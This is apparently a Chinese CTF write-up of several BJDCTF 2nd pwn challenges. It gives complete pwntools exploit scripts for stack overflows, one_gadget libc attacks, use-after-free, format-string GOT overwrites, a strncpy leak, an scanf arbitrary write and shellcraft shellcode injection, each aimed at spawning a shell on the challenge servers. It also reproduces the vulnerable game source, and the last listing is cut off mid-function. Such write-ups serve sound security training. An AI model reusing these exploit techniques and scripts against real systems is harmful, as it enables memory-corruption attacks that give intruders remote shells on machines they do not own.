在name_check函数中有一个strcpy,看起来是溢出的机会,但是前面判断了长度,这里在汇编下才能发现漏洞
即只要长度超过255就会溢出
Exp:
from pwn import *
r = remote("node3.buuoj.cn", 29302)
elf = ELF("./BJDCTF_2nd_r2t3")
system = elf.plt['system']
bin_sh = 0x08048760
print r.recvuntil("[+]Please input your name:\n")
payload = 'a' * 0x15 + p32(system) * 2 + p32(bin_sh)
payload = payload.ljust(260, 'a')
r.sendline(payload)
r.interactive()
题目给了printf的地址,根据其算出libc基地址然后计算one_gadget的地址,发送即可
Exp:
from pwn import *
r = remote("node3.buuoj.cn", 25695)
libc = ELF("./libc/libc-2.29.so")
print r.recvuntil("here is the gift for u:")
printf = int(r.recvuntil('\n').strip(), 16)
success("printf:"+hex(printf))
libc_base = printf - libc.sym['printf']
one_gadget = libc_base + 0x106ef8
payload = str(one_gadget)
r.sendline(payload)
r.interactive()
这题是UAF漏洞
使用了函数指针
利用UAF修改为后门函数再调用show即可
Exp:
from pwn import *
def add(size, content):
print r.recvuntil("u choice :\n")
r.sendline('1')
print r.recvuntil("Please input the length of her name:\n")
r.sendline(str(size))
print r.recvuntil("Please tell me her name:\n")
r.send(content)
def delete(index):
print r.recvuntil("u choice :\n")
r.sendline('2')
print r.recvuntil("Index :")
r.sendline(str(index))
def show(index):
print r.recvuntil("u choice :\n")
r.sendline('3')
print r.recvuntil("Index :")
r.sendline(str(index))
r = remote("node3.buuoj.cn", 28148)
system = 0x400D86
add(0x80, 'a\n')
add(0x80, 'b\n')
delete(0)
delete(1)
payload = p64(system) * 2
add(0x10, payload)
show(0)
r.interactive()
有格式化字符串漏洞,有canary,似乎难以溢出
可以把___stack_chk_fail的got改了
不过这题的payload长度超过0x28(40)就会破坏canary
所以payload长度一定要大于40
Exp:
from pwn import *
r = remote("node3.buuoj.cn", 26346)
#r = process("./BJDCTF_2nd_r2t4")
elf = ELF("./BJDCTF_2nd_r2t4")
libc = ELF("./libc/libc-2.29.so")
DEBUG = 0
if DEBUG:
gdb.attach(r,
'''
b *0x40069C
c
''')
target = elf.got['__stack_chk_fail']
system = 0x400626
num1 = (system >> 16)
num2 = (system & 0xFFFF) - num1
payload = '%' + str(num1) + 'c%9$hn%' + str(num2) + 'c%10$hn'
payload = payload.ljust(24, 'a') + p64(target+2) + p64(target) + 'a' * 17
r.sendline(payload)
r.interactive()
这题或许考察的是对Linux命令的掌握
源代码如下
//test.c
#include
#include
#include
int main(){
char cmd[0x100] = {0};
puts("Welcome to Pwn-Game by TaQini.");
puts("Your ID:");
system("id");
printf("$ ");
gets(cmd);
if( strstr(cmd, "n")
||strstr(cmd, "e")
||strstr(cmd, "p")
||strstr(cmd, "b")
||strstr(cmd, "u")
||strstr(cmd, "s")
||strstr(cmd, "h")
||strstr(cmd, "i")
||strstr(cmd, "f")
||strstr(cmd, "l")
||strstr(cmd, "a")
||strstr(cmd, "g")
||strstr(cmd, "|")
||strstr(cmd, "/")
||strstr(cmd, "$")
||strstr(cmd, "`")
||strstr(cmd, "-")
||strstr(cmd, "<")
||strstr(cmd, ">")
||strstr(cmd, ".")){
exit(0);
}else{
system(cmd);
}
return 0;
}
可以看到许多命令被过滤了
我们使用以下两条指令查看可以使用的治理
env $PATH
ls /usr/local/sbin /usr/local/bin /usr/sbin /usr/bin /sbin /bin /usr/games /usr/local/games | grep -v -E ' n|e|p|b|u|s|h|i|f|l|a|g'
od = [066146,063541,030573,030064,062461,061143,026545,033544,0000020,060541,032055,062063,026543,034071, 061460, 032455, 030465, 0000040, 031465, 061541, 062060, 063144, 076546, 077412, 046105]
flag = ""
for i in od:
tmp = hex(i)[2:]
flag += tmp.decode('hex')[::-1]
print flag
这题同样有两个办法
程序逻辑就是要你猜数字,正常情况下猜对10000次给flag
利用idapython读出所有数字,发送一万次
idapython脚本如下
import idc, idaapi, idautils
guess_addr = 0x46A329
secrets = []
def get_secret():
f = open("secrets.txt", "w")
all = idautils.CodeRefsTo(guess_addr, 1)
for addr in all:
next = idc.NextHead(addr)
next = idc.NextHead(next)
secret = idc.GetOpnd(next, 1)
secret = secret[:-1]
if len(secret) == 0:
continue
secret = int(secret, 16)
f.write(str(secret)+'\n')
f.close()
if __name__ == "__main__":
get_secret()
Exp如下:
from pwn import *
r = remote("node3.buuoj.cn", 26527)
#r = process("./BJDCTF_2nd_secret")
elf = ELF("./BJDCTF_2nd_secret")
exit_got = elf.got['exit']
DEBUG = 0
if DEBUG:
gdb.attach(r,
'''
b *0x401368
c
p exit
''')
payload = 'a' #'a' * 0x10 + '\xd0' + '\x10' + '\x40' + '\n'
r.send(payload)
sleep(2)
f = open("secrets.txt", "r")
for i in range(10000):
num = f.readline().strip()
print r.recvuntil("Secret:")
r.sendline(num)
f.close()
r.sendline('1')
r.interactive()
当然这样做很费时间
buf处有一个缓冲区溢出
每猜对一次,0x46D090中的数据作为地址的数据就会建减一
如果游戏失败,则会触发下面这个函数
此外,我们发现printf的plt地址和system很接近
所以,我们可以先把0x46D090改成printf的got地址,然后猜15次,然后输入错误的数字来结束,即可
Exp如下:
from pwn import *
r = remote("node3.buuoj.cn", 28077)
#r = process("./BJDCTF_2nd_secret")
elf = ELF("./BJDCTF_2nd_secret")
exit_got = elf.got['exit']
DEBUG = 0
if DEBUG:
gdb.attach(r,
'''
b *0x401368
c
p exit
''')
payload = '/bin/sh\x00'.ljust(0x10, 'a') + '\x40' + '\xD0' + '\x46' + '\n'
r.send(payload)
sleep(2)
f = open("secrets.txt", "r")
for i in range(0xF):
num = f.readline().strip()
print r.recvuntil("Secret:")
r.sendline(num)
f.close()
r.sendline('1')
r.interactive()
登录密码可以直接用微信扫出来
游戏源代码如下
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define high 20
#define wide 30
#define up 1
#define down 2
#define left 3
#define right 4
// void setIO(unsigned int flag) {
// if(flag)
// system("stty cbreak -echo");
// else
// system("stty cooked echo");
// }
void StringReplace(char *buf, char src, char dest){
char *p = buf;
while(*p){
if(p[0]==src){
p[0]=dest;
}
p++;
}
}
unsigned int score = 0;
unsigned int Level = 1;
unsigned int direction = 1;
unsigned int IsEat=0;
unsigned int FoodH=5,FoodW=10;
char Name[0x100];
char flag[0x1000];
unsigned int flag_pos = 0;
char Picture[high][wide];
typedef struct snake{
unsigned int x;
unsigned int y;
struct snake* next;
}Node,*PSnake;
PSnake Init() {
printf("SnakeMake start!\n");
unsigned int len=5;
PSnake head=(PSnake)malloc(sizeof(Node));
if(head == NULL)
printf("Snake head make failed!\n");
head->x=wide/2;
head->y=high/2+5;
head->next=NULL;
unsigned int i=0;
for(;i<5;i++) {
PSnake P=(PSnake)malloc(sizeof(Node));
if(P==NULL) {
printf("Snake is dead!\n");
break;
}
P->x=wide/2;
P->y=high/2-i+4;
P->next=head;
head=P;
}
printf("Snake is alive!\n");
return head;
}
PSnake Eat(unsigned int x,unsigned int y,PSnake snake) {
PSnake p=(PSnake)malloc(sizeof(Node));
if(p==NULL) {
printf("New head make failed!");
}
p->x = x;
p->y = y;
p->next=snake;
score += 1;
return p;
}
void Walk(unsigned int x,unsigned int y,PSnake snake) {
PSnake p=snake;
unsigned int a,b, c=x, d=y;
while(p!=NULL) {
a=p->x;
b=p->y;
p->x = c;
p->y = d;
c=a;
d=b;
p=p->next;
}
}
unsigned int Serch(unsigned int x,unsigned int y,PSnake snake) {
PSnake q=snake->next;
while(q!= NULL) {
if( ( (q->x) == x ) && ( (q->y) == y ) )
return 1;
q=q->next;
}
return 0;
}
void WriteSnake(PSnake snake) {
PSnake p=snake;
while(p != NULL) {
Picture[p->y][p->x]=flag[flag_pos%0xC];
p=p->next;
}
}
void Paint(void) {
unsigned int y=high,x=wide,i,j;
for(i=0; i<y; i++)
for(j=0; j<x; j++)
Picture[i][j]=' ';
}
static unsigned int cnt=1;
void Print(char* p,unsigned int score,unsigned int Lev) {
unsigned int a=high,b=wide,i=0,j;
printf("\033c");
system("stty -icanon"); // 关缓冲
system("stty -echo"); // 关回显
printf("\033[?25l"); // 关闭鼠标显示
printf("游戏开始!! 移动次数: %d !\n",cnt);
cnt++;
printf("玩家:%s得分:%d\t\t\t\t等级:%d \n",p,score*100,Lev);
while(i<b*2+2) {
printf("\033[30;47m \033[0m");
i++;
}
printf("\n");
for (i=0; i<a; i++) {
printf("\033[30;47m \033[0m");
for(j=0; j<b; j++) {
if(Picture[i][j]!=' '){
printf("\033[31;42m%c \033[0m",Picture[i][j]);
}else{
printf("\033[40m%c \033[0m",Picture[i][j]);
}
}
printf("\033[30;47m \033[0m");
printf("\n");
}
for(i=0;i<=b*2+1;i++) {
printf("\033[30;47m \033[0m");
}
printf("\n");
if (score < 12){
printf("\033[30;47m------勤劳的饲养员TaQini正在拿他的心爱的flag喂Imagin----------\033[0m\n");
}else if (score < 23){
printf("\033[30;47m------这家伙太贪吃了。TaQini决定不再喂他新的flag了------------\033[0m\n");
}else if (score < 30){
printf("\033[30;47m------加油!加油!3000分!!flag就在前方!冲鸭!!!----------\033[0m\n");
}else{
printf("\033[30;47m------他可真是一条爱运动的蛇呢!说什么每天必须走够2333步?----\033[0m\n");
}
printf("\033[30;47m \033[0m\n");
}
unsigned int MakeFood(void) {
static unsigned int MC=0;
while(1) {
if(MC > ((high * wide)/2 ) )
return 0;
srand((int)time(0));
FoodH=rand()%high;
FoodW=rand()%wide;
if(Picture[FoodH][FoodW] == ' ')
break;
}
MC++;
return 1;
}
PSnake MakeMove(PSnake s) {
unsigned int x,y;
PSnake p=s;
x=s->x,y=s->y;
if(direction == up)
y = y - 1;
if(direction == down)
y = y + 1;
if(direction == right)
x = x + 1;
if(direction == left)
x = x - 1;
if( (y>(high-1)) || ((y<0)) || ((x)<0) || (x>(wide-1)) ) {
printf("x=%d y=%d s.x=%d s.y=%d \n",x,y,s->x,s->y);
printf("The snake break the wall!");
return NULL;
}
if(Serch(x,y,s)) {
printf("x=%d y=%d \n",x,y);
while(p != NULL) {
printf("p->x= %d p->y= %d \n",p->x,p->y);
p=p->next;
}
printf("Your snake eat itsself!");
return NULL;
}
if( (x==FoodW) && (y==FoodH) ) {
s=Eat(x,y,s);
IsEat=1;
}
else {
Walk(x,y,s);
}
return s;
}
unsigned int kbhit(void) {
struct timeval tv;
fd_set rdfs;
tv.tv_sec = 0;
tv.tv_usec = 0;
FD_ZERO(&rdfs);
FD_SET(STDIN_FILENO,&rdfs);
select(STDIN_FILENO+1,&rdfs,NULL,NULL,&tv);
return FD_ISSET(STDIN_FILENO,&rdfs);
}
void InputCTL(unsigned int level) {
unsigned int Dir=direction;
unsigned int timeUse;
struct timeval start,end;
gettimeofday(&start,NULL);
// setIO(1);
char c,n;
while(1) {
gettimeofday(&end,NULL);
timeUse = 1000000*(end.tv_sec - start.tv_sec) + end.tv_usec - start.tv_usec;
if(timeUse > 1000000 - level*100000)
break;
if(kbhit())
c=getchar();
}
// setIO(0);
if( c == 'w') {
Dir=1;
}
else if( c == 's') {
Dir=2;
}
else if( c == 'a') {
Dir=3;
}
else if( c == 'd') {
Dir=4;
}
else;
if(!(((Dir == 1) && (direction == down) ) || ((Dir == 2) && (direction == up))
|| ((Dir == 3) && (direction == right)) || ((Dir == 4) && (direction == left)))){
direction = Dir;
}
}
unsigned int CheckLevel(unsigned int score) {
static unsigned int change=0;
if(((score - change) >= 3) && (Level < 9) ) {
Level ++;
change += 3;
}
return Level;
}
void printRule(void){
printf("\033c");
printf("游戏说明:\n");
printf(" 0.您将操控一条名为Imagin的蛇进行游戏\n");
printf(" 1.每300分升级一次并提速,最高等级为⑨\n");
printf(" 2.Imagin这家伙素来十分挑食,专吃flag\n");
printf(" 3.吃够3000分,饲养员TaQini将奖励您shell一个\n\n");
printf("按键说明:\n");
printf(" \033[31;47m a - 左 d - 右 \033[0m\n");
printf(" \033[31;47m w - 上 s - 下 \033[0m\n\n");
printf("获胜条件:\n");
printf(" \033[31;47m Capture TaQini's flag \033[0m\n");
printf(" \033[31;47m 拿到TaQini的flag \033[0m\n");
printf("途径1:\n");
printf(" 控制Imagin吃豆豆,达到3000分\n");
printf("途径2:\n");
printf(" 用你善于发现的眼睛,找到游戏中的小bug\n\n");
// printf("小提示:\n");
// printf("- 蛇身花纹会根据吃的食物改变哦\n\n");
}
void GiveAwards(){
system("/bin/sh");
}
void getName(){
char buf[0x100];
printf("请输入玩家昵称(仅限英文)[按回车开始游戏]:");
scanf("%s",buf);
strncpy(Name, buf, 0x100);
}
void GameRun(void) {
unsigned int GameState=1;
score=0;
Level=1;
printRule();
getName();
PSnake jack=Init();
PSnake p=jack;
while(GameState) {
Paint();
WriteSnake(jack);
if(IsEat) {
if(MakeFood()){
IsEat=0;
flag_pos ++;
}
}
// 投食
Picture[FoodH][FoodW]=flag[(flag_pos+1)%0xC];
Print(Name,score,CheckLevel(score));
InputCTL(Level);
jack = MakeMove(jack);
if( jack == NULL ) {
GameState=0;
printf("\033c");
system("stty icanon"); // 恢复缓冲
system("stty echo"); // 恢复回显
printf("\033[?25h"); // 恢复鼠标显示
printf("Game Over!\n");
}
// 奖励shell
if( score >= 30 && cnt > 2333){
GameState=0;
printf("\033c");
system("stty icanon"); // 恢复缓冲
system("stty echo"); // 恢复回显
printf("\033[?25h"); // 恢复鼠标显示
GiveAwards();
}
}
}
unsigned int main(void) {
setvbuf(stdin,0,1,0);
setvbuf(stdout,0,2,0);
// 打开 flag 文件 喂蛇
unsigned int fd = open("flag",O_RDONLY);
read(fd,flag,1000);
StringReplace(flag,'\n','*');
GameRun();
return 0;
}
看到name和flag离的很近
而在getName函数中使用了strncpy,如果我们的输入大于0x100,结尾的\x00就没能被拷贝到Name中,从而可以读出flag
Exp:
from pwn import *
s = ssh(host='node3.buuoj.cn',user='ctf',password='sNaKes',port=29816)
p = s.process('/home/ctf/snake')
payload = 'a' * 0x100
p.sendline(payload)
p.interactive()
当然了这题也可以通过玩游戏到3000分并且步数达到2333获取shell得到flag
//snake.c
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define high 20
#define wide 30
#define up 1
#define down 2
#define left 3
#define right 4
// void setIO(unsigned int flag) {
// if(flag)
// system("stty cbreak -echo");
// else
// system("stty cooked echo");
// }
void StringReplace(char *buf, char src, char dest){
char *p = buf;
while(*p){
if(p[0]==src){
p[0]=dest;
}
p++;
}
}
unsigned int score = 0;
unsigned int Level = 1;
unsigned int direction = 1;
unsigned int IsEat=0;
unsigned int FoodH=5,FoodW=10;
char Name[0x100];
char flag[0x1000];
unsigned int flag_pos = 0;
char Picture[high][wide];
typedef struct snake{
unsigned int x;
unsigned int y;
struct snake* next;
}Node,*PSnake;
PSnake Init() {
printf("SnakeMake start!\n");
unsigned int len=5;
PSnake head=(PSnake)malloc(sizeof(Node));
if(head == NULL)
printf("Snake head make failed!\n");
head->x=wide/2;
head->y=high/2+5;
head->next=NULL;
unsigned int i=0;
for(;i<5;i++) {
PSnake P=(PSnake)malloc(sizeof(Node));
if(P==NULL) {
printf("Snake is dead!\n");
break;
}
P->x=wide/2;
P->y=high/2-i+4;
P->next=head;
head=P;
}
printf("Snake is alive!\n");
return head;
}
PSnake Eat(unsigned int x,unsigned int y,PSnake snake) {
PSnake p=(PSnake)malloc(sizeof(Node));
if(p==NULL) {
printf("New head make failed!");
}
p->x = x;
p->y = y;
p->next=snake;
score += 1;
return p;
}
void Walk(unsigned int x,unsigned int y,PSnake snake) {
PSnake p=snake;
unsigned int a,b, c=x, d=y;
while(p!=NULL) {
a=p->x;
b=p->y;
p->x = c;
p->y = d;
c=a;
d=b;
p=p->next;
}
}
unsigned int Serch(unsigned int x,unsigned int y,PSnake snake) {
PSnake q=snake->next;
while(q!= NULL) {
if( ( (q->x) == x ) && ( (q->y) == y ) )
return 1;
q=q->next;
}
return 0;
}
void WriteSnake(PSnake snake) {
PSnake p=snake;
while(p != NULL) {
Picture[p->y][p->x]=flag[flag_pos%1000];
p=p->next;
}
}
void Paint(void) {
unsigned int y=high,x=wide,i,j;
for(i=0; i<y; i++)
for(j=0; j<x; j++)
Picture[i][j]=' ';
}
static unsigned int cnt=1;
void Print(char* p,unsigned int score,unsigned int Lev) {
unsigned int a=high,b=wide,i=0,j;
printf("\033c");
system("stty -icanon"); // 关缓冲
system("stty -echo"); // 关回显
printf("\033[?25l"); // 关闭鼠标显示
printf("游戏开始!! 移动次数: %d !\n",cnt);
cnt++;
printf("玩家:%s得分:%d\t\t\t\t等级:%d \n",p,score*100,Lev);
while(i<b*2+2) {
printf("\033[30;47m \033[0m");
i++;
}
printf("\n");
for (i=0; i<a; i++) {
printf("\033[30;47m \033[0m");
for(j=0; j<b; j++) {
if(Picture[i][j]!=' '){
printf("\033[31;42m%c \033[0m",Picture[i][j]);
}else{
printf("\033[40m%c \033[0m",Picture[i][j]);
}
}
printf("\033[30;47m \033[0m");
printf("\n");
}
for(i=0;i<=b*2+1;i++) {
printf("\033[30;47m \033[0m");
}
printf("\n");
if (score < 5){
printf("\033[30;47m------勤劳的饲养员TaQini正在拿他的加长版flag喂Imagin----------\033[0m\n");
}else{
printf("\033[30;47m------Imagin已经吃了%6d分了!300000分还会远么?------------\033[0m\n",score*100);
}
printf("\033[30;47m \033[0m\n");
}
unsigned int MakeFood(void) {
static unsigned int MC=0;
while(1) {
if(MC > ((high * wide)/2 ) )
return 0;
srand((int)time(0));
FoodH=rand()%high;
FoodW=rand()%wide;
if(Picture[FoodH][FoodW] == ' ')
break;
}
MC++;
return 1;
}
PSnake MakeMove(PSnake s) {
unsigned int x,y;
PSnake p=s;
x=s->x,y=s->y;
if(direction == up)
y = y - 1;
if(direction == down)
y = y + 1;
if(direction == right)
x = x + 1;
if(direction == left)
x = x - 1;
if( (y>(high-1)) || ((y<0)) || ((x)<0) || (x>(wide-1)) ) {
printf("x=%d y=%d s.x=%d s.y=%d \n",x,y,s->x,s->y);
printf("The snake break the wall!");
return NULL;
}
if(Serch(x,y,s)) {
printf("x=%d y=%d \n",x,y);
while(p != NULL) {
printf("p->x= %d p->y= %d \n",p->x,p->y);
p=p->next;
}
printf("Your snake eat itsself!");
return NULL;
}
if( (x==FoodW) && (y==FoodH) ) {
s=Eat(x,y,s);
IsEat=1;
}
else {
Walk(x,y,s);
}
return s;
}
unsigned int kbhit(void) {
struct timeval tv;
fd_set rdfs;
tv.tv_sec = 0;
tv.tv_usec = 0;
FD_ZERO(&rdfs);
FD_SET(STDIN_FILENO,&rdfs);
select(STDIN_FILENO+1,&rdfs,NULL,NULL,&tv);
return FD_ISSET(STDIN_FILENO,&rdfs);
}
void InputCTL(unsigned int level) {
unsigned int Dir=direction;
unsigned int timeUse;
struct timeval start,end;
gettimeofday(&start,NULL);
// setIO(1);
char c,n;
while(1) {
gettimeofday(&end,NULL);
timeUse = 1000000*(end.tv_sec - start.tv_sec) + end.tv_usec - start.tv_usec;
if(timeUse > 1000000 - level*100000)
break;
if(kbhit())
c=getchar();
}
// setIO(0);
if( c == 'w') {
Dir=1;
}
else if( c == 's') {
Dir=2;
}
else if( c == 'a') {
Dir=3;
}
else if( c == 'd') {
Dir=4;
}
else;
if(!(((Dir == 1) && (direction == down) ) || ((Dir == 2) && (direction == up))
|| ((Dir == 3) && (direction == right)) || ((Dir == 4) && (direction == left)))){
direction = Dir;
}
}
unsigned int CheckLevel(unsigned int score) {
static unsigned int change=0;
if(((score - change) >= 3) && (Level < 9) ) {
Level ++;
change += 3;
}
return Level;
}
void printRule(void){
printf("\033c");
printf("游戏说明:\n");
printf(" 0.您将操控一条名为Imagin的蛇进行游戏\n");
printf(" 1.每300分升级一次并提速,最高等级为⑨\n");
printf(" 2.不知怎的,挑食的Imagin突然饭量猛增!\n");
printf(" 3.吃够300000分,饲养员TaQini将奖励您shell一个\n\n");
printf("按键说明:\n");
printf(" \033[31;47m a - 左 d - 右 \033[0m\n");
printf(" \033[31;47m w - 上 s - 下 \033[0m\n\n");
printf("获胜条件:\n");
printf(" \033[31;47m Capture TaQini's flag \033[0m\n");
printf(" \033[31;47m 拿到TaQini的flag \033[0m\n");
printf("途径1:\n");
printf(" 控制Imagin吃豆豆,达到300000分\n");
printf("途径2:\n");
printf(" 用你善于发现的眼睛,找到游戏中的小bug\n\n");
// printf("小提示:\n");
// printf("- 蛇身花纹会根据吃的食物改变哦\n\n");
}
void GiveAwards(){
system("/bin/sh");
}
void getName(){
char buf[0x100];
printf("请输入玩家昵称(仅限英文)[按回车开始游戏]:");
scanf("%s",buf);
strncpy(Name, buf, 0x10);
}
void questionnaire(void){
int Goal;
char Answer[0x20];
puts("你收到了一份来自TaQini的调查问卷");
printf("1.Snake系列游戏中,贪吃蛇的名字是:");
scanf("%20s",Answer);
printf("2.Pwn/Game真好玩儿[Y/n]:");
scanf("%20s",Answer);
printf("3.你目标的分数是:");
scanf("%d",Goal);
}
void GameRun(void) {
unsigned int GameState=1;
score=0;
Level=1;
printRule();
getName();
questionnaire();
PSnake jack=Init();
PSnake p=jack;
while(GameState) {
Paint();
WriteSnake(jack);
if(IsEat) {
if(MakeFood()){
IsEat=0;
flag_pos ++;
}
}
// 投食
Picture[FoodH][FoodW]=flag[(flag_pos+1)%1000];
Print(Name,score,CheckLevel(score));
InputCTL(Level);
jack = MakeMove(jack);
if( jack == NULL ) {
GameState=0;
printf("\033c");
system("stty icanon"); // 恢复缓冲
system("stty echo"); // 恢复回显
printf("\033[?25h"); // 恢复鼠标显示
printf("Game Over!\n");
}
// 奖励shell
if( score >= 3000 ){
GameState=0;
printf("\033c");
system("stty icanon"); // 恢复缓冲
system("stty echo"); // 恢复回显
printf("\033[?25h"); // 恢复鼠标显示
GiveAwards();
}
}
}
unsigned int main(void) {
setvbuf(stdin,0,1,0);
setvbuf(stdout,0,2,0);
// 打开 flag 文件 喂蛇
unsigned int fd = open("flag",O_RDONLY);
read(fd,flag,1000);
StringReplace(flag,'\n','*');
GameRun();
return 0;
}
这题需要玩到30000分才能获得shell,基本是不可能的,只能需要程序的漏洞了
注意到,问卷函数中Goal没有加取地址符&,并且这两个函数都是在GameRun中被调用的,所以我们可以在输入名字的时候把想要修改的地址留在栈上,当问卷函数被调用时,Goal的值就变成想要修改的地址来实现任意内存写
比如,把malloc的got表改为GiveAwards()
Exp:
from pwn import *
s = ssh(host='node3.buuoj.cn',user='ctf',password='sNaKes',port=25119)
p = s.process('/home/ctf/snake')
name = 0x00405380
malloc_got = 0x405078
system = 0x401CF4
payload = 'a' * (0x110 - 0x34) + p32(malloc_got)
p.sendline(payload)
p.sendline('a')
p.sendline('a')
p.sendline(str(system))
p.interactive()
程序逻辑大致为打开两个文件并输出不同的行
在compare函数中存在一个溢出
所以我们把payload放在第一个文件里,并在第二个文件中利用溢出跳转控制流到payload
Exp:
from pwn import *
context(arch = 'i386', os = 'linux')
file1 = open("/tmp/diff/file1", "w")
payload = asm(shellcraft.sh())
file1.write(payload)
file1.close()
addr = 0x0804A024
file2 = open("/tmp/diff/file2", "w")
payload = 'a' * 0x7c + p32(addr)
file2.write(payload)
file2.close()
pause()
s = ssh(host='node3.buuoj.cn',user='ctf',password='guest',port=25145)
s.interactive()
当Exp暂停时:
scp -P 25145 /tmp/diff/file1 ctf@node3.buuoj.cn:/tmp
scp -P 25145 /tmp/diff/file2 ctf@node3.buuoj.cn:/tmp
在远程机器上运行:
./diff /tmp/file1 /tmp/file2
程序可以执行两次system,两次的过滤分别如下
在第一次可以执行system时,sh的工作目录位于/tmp下一个随机的文件夹,利用ls -ali查看所有文件的信息
-a 显示所有文件
-l 显示详细信息
-i 显示inode
得到当前工作文件夹的inode之后,重开一个shell,使用ls -ali /tmp筛查出到底位于哪个文件夹之下
x=h;s$x
//main.c
/*************************************************
* name: main
* 功能:实现俄罗斯方块小游戏
* 编写人:王廷云
* 编写日期:2018-3-21
* 最近更新日期:2019-7-3
* 魔改人:TaQini
* 最近魔改日期:2020-3-13
**************************************************/
#include
#include
#include
#include
#include
#include
#include
#include "data.h"
#define ROW 21 // 游戏区域的行数
#define COL 18 // 游戏区域的列数
/* 按键枚举 */
enum key {
DOWN, // 上
LEFT, // 左
RIGHT, // 右
CHANGE, // 变化
STOP, // 停止
EXIT, // 退出
UNKNOW, // 未知
};
/***** 函数声明区域 ******/
void initalGameArea(void); // 初始化游戏区域
void drawBlock(char bl[NR][NR]); // 画方块
void cleanBlock(char bl[NR][NR]); // 清除方块
void turnBlock(char bl[NR][NR]); // 旋转方块
void gameEnd(void); // 结束游戏
void gameStop(void); // 暂停游戏
void showGame(void); // 显示游戏
void gameSelf(int signo); // 游戏自动运行
void checkDeleteLine(void); // 检查是否满一行
void checkGameOver(char bl[NR][NR]); // 检查是否游戏结束
int checkMove(char bl[NR][NR], int flag); // 检查方块是否可移动
int getInput(void); // 获取输入
/* 全局变量区域 */
static char gameArea[ROW][COL] = {0}; // 游戏区域数据
static int startX = 7, startY = 6; // 方块出现的起始位置
static int type = 0; // 方块当前类型
static int nextType = 0; // 方块的下一种类型
static int diret = 0; // 方块的方向
char *state = "\033[32m游戏中...\033[0m"; // 游戏运行状态
static unsigned int level = 0; // 游戏等级
static unsigned int score = 0; // 游戏分数
static unsigned int maxScore = 0; // 游戏最高记录
static FILE *fp = NULL; // 用于把记录保存到文件
static FILE *fmsg = NULL; // 用于打开留言文件
/*
* 主函数:控制全局流程
*/
int main(void)
{
/* 读取文件的最高记录 */
fp = fopen("./record","r+");
if (NULL == fp)
{
/*
* 文件不存在则创建并打开
* "w"方式打开会自动创建不存在的文
*/
fp = fopen("./record","w");
}
fscanf(fp,"%u",&maxScore);
if(maxScore > 666666)
{
puts("干的漂亮!奖励鹅罗狮高手shell一个!");
system("/bin/sh");
exit(0);
}
/*
* 设置闹钟:
* 当前时间间隔为0.7秒,下一次时间间隔为0.7秒
*/
struct itimerval timer = {{0,700000},{0,700000}};
setitimer(ITIMER_REAL, &timer,NULL);
/* 初始化游戏区域 */
initalGameArea();
/* 设置游戏信号 */
signal(SIGALRM, gameSelf);
/* 初始化方块类型 */
srand(time(NULL));
type = rand()%7;
nextType = rand()%7;
/* 用户操作 */
int key;
while (1)
{
key = getInput();
switch (key)
{
case RIGHT : checkMove(bl[type][diret],RIGHT);
break;
case LEFT : checkMove(bl[type][diret],LEFT);
break;
case DOWN : checkMove(bl[type][diret],DOWN);
break;
case CHANGE: turnBlock(bl[type][(diret+1)%4]);
break;
case STOP : gameStop();
break;
case EXIT : gameEnd();
break;
case UNKNOW: continue;
}
/* 画方块 */
drawBlock(bl[type][diret]);
/* 显示游戏 */
showGame();
/* 清除方块 */
cleanBlock(bl[type][diret]);
}
return 0;
}
/*
* 函数名:initalGameArea
* 函数功能:初始化游戏区域
* 参数:无
* 返回值:无
*/
void initalGameArea(void)
{
int i;
/* 屏幕设置 */
printf("\033[2J"); // 清屏
system("stty -icanon"); // 关缓冲
system("stty -echo"); // 关回显
fprintf(stdout,"\033[?25l"); // 关闭鼠标显示
/* 初始化行 */
for (i = 0; i < COL; i++)
{
gameArea[0][i] = 8; // 第0行
gameArea[5][i] = 8; // 第5行
gameArea[ROW-1][i] = 8; // 最后一行
}
/* 初始化列 */
for (i = 0; i < ROW; i++)
{
gameArea[i][0] = 8; // 第0列
gameArea[i][COL-1] = 8; // 最后一列
}
/* 中间一小列 */
for (i = 1; i < 5; i++)
{
gameArea[i][6] = 8;
}
}
/*
* 函数名:gameSelf
* 函数功能:作为信号函数,闹钟时间一到就自动下落
* 参数:信号
* 返回值:无
*/
void gameSelf(int signo)
{
/* 画方块 */
drawBlock(bl[type][diret]);
/* 显示游戏 */
showGame();
/* 清除方块 */
cleanBlock(bl[type][diret]);
/* 如果方块已经到底 */
if (!checkMove(bl[type][diret],DOWN))
{
/* 检查是否游戏结束 */
checkGameOver(bl[type][diret]);
/* 保留已经到底的方块 */
drawBlock(bl[type][diret]);
/* 显示游戏结果 */
showGame();
/* 到达边界后检查是否可消行 */
checkDeleteLine();
/* 重新开始下一个方块 */
startY = 6;
startX = 7;
type = nextType;
nextType = rand()%7;
diret = 0;
}
}
/*
* 函数名:checkDeleteLine
* 函数功能:检查是否可消行
* 参数:无
* 返回值:无
*/
void checkDeleteLine(void)
{
int i, j;
int x, y;
/* 检查当前方块的四行区域内 */
for (i = 3; i >= 0; i--)
{
for (j = 1; j < COL-1; j++)
{
/* 检测方块是否满一行 */
if (gameArea[startY+i][j] == 0)
break;
/* 跳过边框区域 */
else if (gameArea[startY+i][j] == 8)
break;
}
/* 如果满了一行则删除一行 */
if (j == COL-1)
{
/* 删除满了的一行 */
for (j = 1; j < COL-1; j++)
{
gameArea[startY+i][j] = 0;
}
/* 分数累加 */
score += 100;
/* 记录最高分 */
if (score > maxScore)
{
maxScore = score;
/* 保存最高分 */
rewind(fp);
fprintf(fp,"%u\n",maxScore);
}
/* 记录级别 */
if (score%200 == 0)
{
/* 每200分加一级 */
level++;
}
/* 删除后往下移动一行 */
for (x = 1; x < COL-1; x++)
{
for (y = startY+i; y >= 7; y--)
{
gameArea[y][x] = gameArea[y-1][x];
}
}
/* 移动的一行需要检测范围加一行 */
i++;
}
}
}
/*
* 函数名:checkGameOver
* 函数功能:检查游戏是否结束
* 参数:待检查方块数据数据
* 返回值:无
*/
void checkGameOver(char block[NR][NR])
{
int i;
for (i = 0; i < NR; i++)
{
/* 方块碰到上方边界则游戏结束 */
if (block[0][i] != 0 && gameArea[startY-1][startX+i] == 8)
{
gameEnd();
}
}
}
/*
* 函数名:turnBlock
* 函数功�\xbd:旋转方块
* 参数:需要旋转的方块数组数据
* 返回值:无
*/
void turnBlock(char bl[NR][NR])
{
int x, y;
/* 检查是否越界 */
for (y = 0; y < NR; y++)
{
for (x = 0; x < NR; x++)
{
/* 只能判断到达了边界 */
if (bl[y][x] != 0 && gameArea[startY+y][startX+x] != 0)
{
return;
}
}
}
